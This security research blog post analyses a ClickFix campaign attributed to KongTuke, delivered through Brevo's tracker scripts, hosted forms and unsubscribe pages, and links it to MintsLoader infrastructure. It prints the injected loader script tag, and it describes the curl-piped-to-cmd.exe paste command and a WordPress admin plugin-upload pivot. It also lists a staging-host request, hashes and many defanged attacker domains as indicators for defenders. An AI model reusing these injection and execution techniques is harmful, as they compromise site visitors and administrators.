All blog posts
Security ResearchclickfixKongTukeBrevoMintsLoader

Brevo delivered ClickFix through its own infrastructure

Brevo served KongTuke ClickFix from its own infrastructure. Altered tracker scripts, forms, and unsubscribe pages delivered the attack to customer sites.

Kirk | ADAMnetworks
Brevo's shared script delivery connected to browser verification prompts and a clipboard command, illustrated in charcoal and orange.

On September 14, 2026, Brevo’s own infrastructure served malicious JavaScript through its tracker scripts and hosted forms. The code placed fake Cloudflare verification checks on customer websites and email-linked pages. Public browser captures recorded it across 51 page domains, including a Shopify storefront and Brevo’s own website.

ClickFix uses a fake error or security check to persuade someone to run a malicious command. Here, clicking the check copied that command to the clipboard. The instructions then asked the visitor to paste it into Windows and run it.

A familiar page asked visitors to run a command

At approximately 17:34 UTC, the operator of melodyglow[.]com saw the fake check on their Shopify storefront. It instructed visitors to press Win+R, then Ctrl+V, and click OK. Those steps open the Windows Run dialog, paste the clipboard contents, and execute them.

The store used Brevo/PushOwl. In a saved copy of the page structure, the operator found a script loaded from cdn2.sendibt1[.]com/f.js.

In their Reddit report, posted as Jakam181, the operator described the prompt appearing in Chrome and an incognito session. They removed the Shopify app after the incident.

The Shopify operator’s report identifies the script loaded with the fake verification prompt.

Figure 1. The storefront operator’s public report. Screenshot taken September 15.

At 17:43 UTC, Michael Bourne reported the same prompt on Brevo’s main website, tagging @brevo_official. His screenshot shows the verification panel and a browser-extension warning that exposes the command’s download destination.

Brevo’s website displaying a fake verification panel beneath a uBlock Origin warning.

Figure 2. Bourne’s September 14 screenshot. The warning exposes systask3820[.]com in the command behind the prompt.

Reports continued through the evening. Kaan reported the prompt on a Brevo-connected Shopify store at 19:36, and Clement Notin reported the same activity at 21:00. Brevo asked for details by direct message or support ticket at 22:43.

Brevo’s own files carried the loader

Brevo’s Shopify integration installs its visitor tracker through the store theme. The same account can serve hosted and embedded forms from sibforms[.]com. A visitor’s browser fetches both from Brevo’s servers, and a shared script can rewrite the page that loads it.

The two JavaScript files kept their full clean contents and gained 173 or 174 bytes at the end. That addition creates a script element pointing at /f.js. The clean Brevo SDK is 3,442 bytes and the clean Sibforms main.js is 461,411 bytes, so the insertion offset is the end of each original file.

Hosted form and unsubscribe pages carried the script tag directly in their HTML instead.

Response Content Insertion point
cdn.brevo[.]com/js/sdk-loader.js Static JavaScript Script-element creator after the final clean byte
sibforms[.]com/forms/end-form/build/main.js Static JavaScript Same creator after the final clean byte
sibforms[.]com/serveUnsub/<token> Dynamic HTML Script tag immediately before </head>
<tenant>.sibforms[.]com/serve/<token> Dynamic HTML Script tag immediately before </head>

The inserted tag reads:

<script src="hxxps://<loader>.sendibt1[.]com/f.js" async data-cfasync="false"></script>

data-cfasync="false" excludes a script from Cloudflare’s Rocket Loader. Cloudflare specifies that attribute before src. The captured tag puts it after, which makes the ordering a usable fingerprint.

The f.js request record identifies Brevo’s tracker as the script that loaded it.

Figure 3. London Tourism, September 14. The “Requested by” field connects Brevo’s tracker to cdn2.sendibt1[.]com/f.js.

On Berlin WO-MAN’s website, Brevo’s Sibforms code loaded the same script.

Clean and modified response hashes

Clean copies captured September 15 between 11:47 and 11:50 UTC:

Clean asset Bytes SHA-256
Brevo SDK 3,442 fe8447fd1ec4dca652b71db2c749fcc24a5bec3875f3654042169fb2418aed09
Sibforms main.js 461,411 8a29b2ee61e93fda1a3f9fc44f044a28959ac024dd542d3758482e5a43c120e9
Modified asset Loader host Bytes Response SHA-256
SDK cdn2 3,615 58a5c601c9df7ca2120435588fc39f97712d9b878795f6ee500590099a432308
SDK cdn4 3,615 c505c599e499e9cf752054fde297495889fab0ba37f1fa0af1cee17c2d0cafda
SDK cdn11 3,616 f67d572d2d30407b3f470904326411450763108980cdad89550fbb221fb06782
Sibforms cdn2 461,584 aa4a52cf50202edc6138cce48e77c454cb516ad923b2f491c745f53456700db6
Sibforms cdn3 461,584 b84475a6e8fc07c60860a882a1705cfedc326abf364b44bd540268d162712520
Sibforms cdn4 461,584 f56c6abb6be62d3c923bb78ae6efa5ed3679c1f01ece1bdb691c984e6e50d9c5
Sibforms cdn11 461,585 ff718da38c4ad030f53bea17adb8fafc5891dd2b4cb39f3277f5a818f466765e

The appended bytes were identical across SDK and Sibforms variants that selected the same hostname. cdn11 added one byte because its label is longer.

Loader host Added bytes Appended-code SHA-256
cdn11 174 478e247de5e3fc0489d9ff90c550d3815cd1915f01f2fc64c077513b0cbf5b34
cdn2 173 da733375bc5a257e1ddd04b6948524eb60a2c830d01b1a15b1163a5aa10f81f7
cdn3 173 c3bf91aa9e6b6afb3f432cd1723b33b391904bcff1f9a0bd8ded7b250b8f04ac
cdn4 173 9744a40ad90980dcbe86c1361acb2f5a501546b428c050a834b7a5086095644d

Four incident-window captures preserve three tenant sibautomation[.]com/sa.js bodies with no sendibt1 or /f.js reference. Sampled assets.brevo[.]com JavaScript contained none either.

Seven hosts served the loader

Public captures span September 14 from 16:05 to 20:12 UTC. Seven hosts under sendibt1[.]com served /f.js, all subdomains of a domain Brevo lists among its technical domains. Across 148 captures, 132 contacted one loader host, 13 contacted two, and three contacted three.

Loader host Captures First capture
cdn.sendibt1[.]com 40 www.brevo[.]com, 16:05:18
cdn2.sendibt1[.]com 13 utixo[.]net, 16:10:27
cdn3.sendibt1[.]com 9 www.batchfoundation[.]org, 16:18:10
cdn4.sendibt1[.]com 34 8db9f395.sibforms[.]com, 16:26:37
cdn9.sendibt1[.]com 29 morseapp[.]fr, 17:27:25
cdn10.sendibt1[.]com 35 iaeijab.r.bh.d.sendibt3[.]com, 17:50:00
cdn11.sendibt1[.]com 7 Tracker delivery, 17:50:00

The earliest visit followed an email-tracking link at r.send.tristartraffic[.]com/tracking/ to Brevo’s own website. The last captured delivery reached www.detertecnica[.]com.

Certificate Transparency records a Let’s Encrypt certificate for cdn.sendibt1[.]com from August 25, twenty days before the delivery window. A wildcard certificate for *.sendibt1.com followed on September 8. Certificates for cdn9, cdn10, and cdn11 were issued on September 14 between 16:09 and 16:12, minutes after delivery began.

By September 15, all seven loader names returned NXDOMAIN.

Brevo’s click tracking routes email clicks through its service before opening the destination, and authenticated domains can use customer-branded subdomains.

Thirty-two captures across 17 page domains contain an email-tracking route, an unsubscribe route, or an email campaign parameter:

/tracking/
/mk/un/v2/sh/
/tr/un/v2/
utm_medium=email

An American Conference unsubscribe link at r.email.americanconference[.]com/mk/un/v2/sh/... opened a Sibforms page that loaded cdn9.sendibt1[.]com/f.js.

The code matches KongTuke

The recovered /f.js scripts match KongTuke in how they build the verification panel, decode commands, and control the clipboard. KongTuke has used compromised websites to deliver malware since May 2024, taking its name from the early control domain kongtuke[.]com. It began with fake browser updates on WordPress sites and adopted fake CAPTCHA prompts by January 2025.

Researchers also track overlapping activity as LandUpdate808 and TAG-124. Recorded Future describes a traffic distribution service used by multiple malware operators, profiling visitors and selecting which lure or payload each one receives. SANS documented a November 2025 example whose pasted command downloaded a PowerShell script.

Five earlier KongTuke bodies and all 14 original cdn2 bodies share the same implementation, down to specific construction details: the keep:false,cmd: message, the UNMASKED_RENDERER_WEBGL graphics lookup, the var cpS='<scr'+'ipt> script builder, and the script[data-c] fallback. The reference scripts run 10,329 to 10,796 bytes and the incident scripts 9,665 to 12,045. Identifiers, junk code, and encoded constants change around that shared core.

The loader picked its visitors

The loader checks for automation and fingerprints the browser using screen, language, time-zone, plugin, canvas, and WebGL details. The server uses that profile to decide what to return.

Before responding, it issues a 66-byte challenge carrying a request token, a difficulty value, and a timestamp:

{"t":"<32-hex-character token>","d":97,"ts":<milliseconds>}

The client tries up to one million nonces, calculating a 32-bit rolling hash of t + ":" + nonce for each. It accepts a result satisfying (value & 0xFFFF) % d === 0, waits a minimum of roughly two seconds, then posts the nonce with the fingerprint.

Seven sessions received a redirect instead of a panel:

{"s":0,"r":"https:\/\/www.google.com"}

The London capture and the loader code expose four routes:

Path on cdn2.sendibt1[.]com Role Evidence
/api/v1/e08a3c4 Tasking and challenge Captured GET
/api/v1/0044d4a Challenge response and reporting Captured OPTIONS and POST
/api/v1/4aff112?tk=... Base64 command retrieval Loader code
/api/v1/b832c14?e=... Event telemetry Loader code

The cdn3 scripts rotate those identifiers to 76584c1, e81929c, and f659473 with identical behavior. Earlier KongTuke scripts used readable names such as /api/v1/session and /api/v1/verify.

The panel supplied the clipboard command

The verification panel renders in a full-screen iframe whose srcdoc property holds the supplied HTML. The iframe requests fullscreen; clipboard-write. The address bar continues to show the site the visitor opened.

The script decodes the server’s Base64 command into UTF-8 and passes it to the iframe through postMessage. After the visitor interacts, navigator.clipboard.writeText copies it, with a hidden text selection and document.execCommand("copy") as fallback.

It reports verification clicks and failed copies through navigator.sendBeacon, using the event names vclick and copy_fail.

Later scripts tried to plant a WordPress plugin

The cdn2 script changed between 18:58:07 and 19:32:20. Ten later scripts contain async function __pvt(zipUrl, reportUrl), a routine that targets a logged-in WordPress administrator’s session. Eight earlier samples carry the browser lure alone.

The routine fetches the administration and plugin-upload pages, extracts the _wpnonce request token, and reuses the session for upload and activation.

Action Route or value
Read administration and upload pages /wp-admin/ and the plugin-upload page
Download the plugin archive hxxps://<loader>.sendibt1[.]com/p/wm.zip
Upload with the extracted nonce /wp-admin/update.php?action=upload-plugin
Activate the returned plugin /wp-admin/plugins.php
Report progress pivot_admin, pivot_uploaded, pivot_ok

The delivered invocation reads bp from the page’s global scope. _guik() defines that variable inside a function, so the call raises ReferenceError before the upload starts. An empty catch swallows it. The routine shipped broken.

The pasted command reached a download server

The command in Bourne’s screenshot starts cmd.exe, locates Windows utilities by matching partial filenames with where, and uses conhost.exe --headless to run without a visible console. Curl retrieves further instructions from /b?t=<token> and passes the response straight into cmd.exe.

Reddit user matteoelstriker reported reaching www.baeckerei-spiegelhauer[.]de through a Google result in Edge on Windows 11, running the command, then disconnecting about 15 seconds later. Their account names cloudmail2077[.]com. Reproducing the lure on another computer returned a different token.

Four download servers appeared that day. Certificates for three were issued within 158 seconds of each other that morning.

UTC Request Certificate or registration Capture
16:45:57 systask3820[.]com/b?t=B8CIs2Eu 11:29:55 URLScan
18:14:29 cdnstore2193[.]com/b?t=fRj4yFjF Same-day registration URLQuery
20:34:59 cloudmail2077[.]com/b?t=EaPgsl5f 11:32:33 URLScan
21:00:50 winstream1186[.]com/b?t=uzF4KOcI 11:30:58 URLScan

Every captured request returned an empty HTTP 444. Joe Sandbox run 1972859 ran the command on Windows 10 at 18:34:33 and recorded the same result:

GET /b?t=PEcW6ebQ HTTP/1.1
Host: winstream1186.com
User-Agent: curl/7.83.1

HTTP/1.1 444
Content-Length: 0

The tokens are single use. The servers answered the victim and nobody else.

The same operator ran MintsLoader a week earlier

The download servers share a naming scheme with the hosts an earlier MintsLoader sample queried. September 14 used systask3820, cdnstore2193, cloudmail2077, and winstream1186. The September 9 sample queried winrun2915, hostrun9541, syncstore9835, cdnhash2335, opscast3707, and logincrypt8338, among others. Two concatenated words and four digits, with cdn, store, and win recurring across both sets.

On September 10, logincrypt8338[.]com returned a Windows command built the same way: headless console, wildcard where lookups, curl piped into the command shell. It downloaded two files and ran them together.

Retrieval route Destination
/ue?t=<token>&f=e %APPDATA%\TRegSvr.exe
/ue?t=<token>&f=b %APPDATA%\vclimg370.bpl

VirusTotal ties that controller to a September 9 package named update.zip, and the package’s sandbox run queries it directly. Triage identifies the package as MintsLoader at 10/10. It uses Firefox filenames, including plugin-container.exe, mozglue.dll, xul.dll, and firefoxupdate.dll, collects system information with systeminfo /FO CSV, and launches hidden PowerShell with an encoded command.

Triage process records showing plugin-container.exe, systeminfo /FO CSV, and a hidden PowerShell process with an encoded command.

Figure 4. The September 9 MintsLoader sample: system-information collection followed by hidden, encoded PowerShell. Triage report, page 15.

At 18:07:38, that PowerShell requested the next stage from jg2n36pxkqjfqp7[.]top on 64.94.85.198:

GET /1.php?s=04e1ab2b-3f93-46fa-9aed-c3a2a3f126c9 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: jg2n36pxkqjfqp7.top

The s value carries the campaign identifier, matching the format Recorded Future documents. Red Canary identifies KongTuke paste-and-run activity as a frequent MintsLoader delivery route. The server returned a gateway timeout after 60 seconds.

The staging host anchors a 97-domain group

DNS and hosting records connect jg2n36pxkqjfqp7[.]top to 97 domains across three addresses on BL Networks’ AS399629. All use 15-character lowercase alphanumeric labels under .top. DNS and web observations account for 48 names; historical address records add 49.

Address Reported location Associated domains
64.94.85.198 Dallas, US 10
64.95.11.136 Dallas, US 43
162.33.179.18 Chicago, US 44

The staging domain was active by September 3, six days before the MintsLoader run, using Cloudflare’s rob and veda nameservers:

jg2n36pxkqjfqp7[.]top  A   64.94.85.198
jg2n36pxkqjfqp7[.]top  NS  rob.ns.cloudflare.com
jg2n36pxkqjfqp7[.]top  NS  veda.ns.cloudflare.com

That nameserver pair served 45 domains between August 25 and September 15. The two larger address groups changed names almost daily. Blackpoint’s MintsLoader analysis documents a date-based generator producing the same 15-character .top format and the same /1.php?s=<campaign> request.

The next name on 64.94.85.198 was ocjipwlxi7kzxql[.]top, created September 10 at 00:01:48 UTC through NICENIC INTERNATIONAL GROUP CO., LIMITED, with the same nameserver pair.

Paired appearances go back to July

Passive DNS and historical address records show new names arriving on the two larger addresses 12 seconds apart on July 28, then at the same second on August 13:

UTC Address Domain Record type
2026-07-28 00:11:05 64.95.11.136 tl1l2sbgso5gtdn[.]top Passive DNS
2026-07-28 00:11:17 162.33.179.18 lkvj3l191c6t7cs[.]top Passive DNS
2026-08-13 16:12:40 64.95.11.136 ggitmiogyly7xwn[.]top Historical address record
2026-08-13 16:12:40 162.33.179.18 tou3s18ilv3chpj[.]top Historical address record

The paired timestamps, matching name structure, and reused addresses point to one provisioning system.

All 97 associated domains, grouped by address

64.94.85.198: 10 associated domains

Domain Record First DNS observation, UTC
fkkthfsxl9hwkos[.]top DNS 2026-08-27 00:16:52.849
im4hkhrpo39fp9r[.]top DNS 2026-08-30 01:43:07.278
jg2n36pxkqjfqp7[.]top DNS 2026-09-03 00:15:39.573
ocjipwlxi7kzxql[.]top DNS 2026-09-10 02:12:26.325
egk77maiswpnop9[.]top Address history
9a0yursbvq4uo6r[.]top Address history
44hogwb4zkk2on8[.]top Address history
y1ne1h8xrcbqvj8[.]top Hosted-domain record
2x49n84xqtda1km[.]top Hosted-domain record
6tl49y0xoaet7l0[.]top Hosted-domain record

64.95.11.136: 43 associated domains

Domain Record
6cw9sj8pljtii2f[.]top DNS
xt6p57x4h9jdeeh[.]top DNS
nbg5hvnkd0a8aqj[.]top DNS
dtqmukc08r0353l[.]top DNS
3a02682g4iry1fo[.]top DNS
tsaijwsv09htxsq[.]top DNS
kakyvkhbwz8os4s[.]top DNS
aruf887rsqzjohu[.]top DNS
094vkww6ohpektx[.]top DNS
qrebxkmmk8g8g6z[.]top DNS
g8pr98c2gz63bi1[.]top DNS
7qz8mw1icpxy7v4[.]top DNS
x89oylrx8gnt376[.]top DNS
npj4a9gd37eozj8[.]top DNS
d7tlnx6tzy4juwa[.]top DNS
3p31zlw9vpveq8d[.]top DNS
konxoxb4n6c4ixh[.]top DNS
a6xe1l0kjx3zdaj[.]top DNS
0n7ud9q0fotu9mm[.]top DNS
e404d2rgw91zidk[.]top DNS
hnsr2m5v75ak1bq[.]top DNS
u6dhc9lorfl9mlf[.]top Web record
gulsgvi9ps2nmpc[.]top Address history
adrgevdy1jv2zo6[.]top Address history
denm06j7ikwngax[.]top Address history
3wx3du8ndbnicmz[.]top Address history
qcbc37stt1csrda[.]top Address history
te7jpiy292dc8z1[.]top Address history
6xtaz6ewucp2t9q[.]top Address history
ggitmiogyly7xwn[.]top Address history
9zoglhk5adrmavh[.]top Address history
jhe08tupem0reie[.]top Address history
gncv0r1ug8qajaa[.]top Hosted-domain record
m4781s654gyv6bg[.]top Hosted-domain record
wnxsp3gp8p70aze[.]top Hosted-domain record
tl1l2sbgso5gtdn[.]top Hosted-domain record
34r5q4l0wyflx0l[.]top Hosted-domain record
qk5egg57bo4wcrw[.]top Hosted-domain record
nja7u50yvn2bv45[.]top Hosted-domain record
w10rihaizwbgzs3[.]top Hosted-domain record
d0kn7tperds6rh8[.]top Hosted-domain record
3iu4jhftn4j1nta[.]top Hosted-domain record
9llhr4qcj6n6l2s[.]top Passive DNS

162.33.179.18: 44 associated domains

Domain Record
hr3qkcdpaiaqyg3[.]top DNS
d0agbdmprh8ifm5[.]top DNS
9ag61ewq8g5avr7[.]top DNS
5jnwrf5qpf32bw8[.]top DNS
1sumiger6e1vs2a[.]top DNS
x10c8horndyn87c[.]top DNS
tb72yixs4cwfpcd[.]top DNS
pkespj7slbt75if[.]top DNS
ltkifkgt2arzlnh[.]top DNS
dgpcs3q3gop7rli[.]top DNS
ccyywmzu08mkixk[.]top DNS
8l5omn8vh7kcz3m[.]top DNS
4ubedoivy6h4f8o[.]top DNS
03i43prwf5fwvdp[.]top DNS
wdputq1ww4cocjr[.]top DNS
smvkkraxd2agsot[.]top DNS
gegqru2ysz3t54y[.]top DNS
cnmghvcz9y0lm9z[.]top DNS
8wt67wlzrxyd2e1[.]top DNS
450wyxv08wv5jk3[.]top DNS
ov2aaskxu1799tu[.]top Web record
k4900ttyb051pzw[.]top Web record
p9pb4auockf6160[.]top Address history
liw1ub3otjdyib1[.]top Address history
xqcvn8bmemkl5vw[.]top Address history
58zf66slgpp18lt[.]top Address history
dplzq59khruhbaq[.]top Address history
9yspg6jlzqr9rfr[.]top Address history
1h55x72mxnmtoqv[.]top Address history
tou3s18ilv3chpj[.]top Address history
9n47vx6gpzd7o4c[.]top Address history
el1qi1iaqhrdk3k[.]top Hosted-domain record
t2i3mji83eb9a2o[.]top Hosted-domain record
d39zjnkbza1e4nv[.]top Hosted-domain record
hu29tmaaib4lnht[.]top Hosted-domain record
9cfpaotbg9z6ksx[.]top Hosted-domain record
5lmf0p2cx7wy1xy[.]top Hosted-domain record
x4zvhrldv5six82[.]top Hosted-domain record
td6l7svdc4paed3[.]top Hosted-domain record
lwj1oueea2kvbo7[.]top Hosted-domain record
tzjld9knvlidl1y[.]top Passive DNS
pmdbxt4et3n3uj5[.]top Passive DNS
lkvj3l191c6t7cs[.]top Passive DNS
5xaxlyfg6ybz49e[.]top Passive DNS

What to check

Sites running the Brevo tracker or Sibforms during the window can compare their own captures against the clean files. The modified responses are cdn.brevo[.]com/js/sdk-loader.js at 3,615 or 3,616 bytes against a clean 3,442, and sibforms[.]com/forms/end-form/build/main.js at 461,584 or 461,585 against a clean 461,411. Form and unsubscribe HTML carries the /f.js tag immediately before </head>. All seven loader names returned NXDOMAIN by September 15, so the delivery path is dead and the records are the evidence.

These combinations stay recognizable as hostnames and script hashes rotate.

Surface Artifact combination
Shared response integrity Clean SDK or Sibforms prefix followed by a 173- or 174-byte loader at offset 3,442 or 461,411
Form response integrity serve or serveUnsub HTML with the /f.js tag before </head>, async data-cfasync="false" after src
Browser execution srcdoc iframe with fullscreen; clipboard-write, keep:false,cmd: message, dual clipboard paths, vclick and copy_fail telemetry
Browser tasking /f.js followed by opaque /api/v1/<7-hex> challenge, command, and telemetry routes
WordPress pivot /p/wm.zip retrieval with pivot_admin, pivot_uploaded, and pivot_ok reporting
Windows execution Wildcarded where lookups, conhost.exe --headless, curl with proxy authentication, curl piped to cmd.exe
Download hosts Two-word plus four-digit .com names serving /b?t=<8-character token>
MintsLoader handoff PowerShell User-Agent, /1.php?s=<UUID>, and the execution-linked .top host
Infrastructure correlation 15-character .top labels, paired rob and veda NS records, synchronized address rotation

Every stage after the paste needs a new outbound connection to a name registered days or hours earlier. ADAMnetworks’ adam:ONE applies default-deny: destinations must be verified through DNS and allowed by policy before a connection succeeds. The download server stays unreachable even after a visitor follows the fake check.

Thanks to Tuxxin from Whack.sh and Emiliano from The Matrix Project for their work on the infrastructure records.

Talk with ADAMnetworks about containing unauthorized connections on your network.

See it on your own network

Zero Trust Connectivity reduces attack surface 7000:1 by denying egress by default. Talk to us about what that looks like in your environment.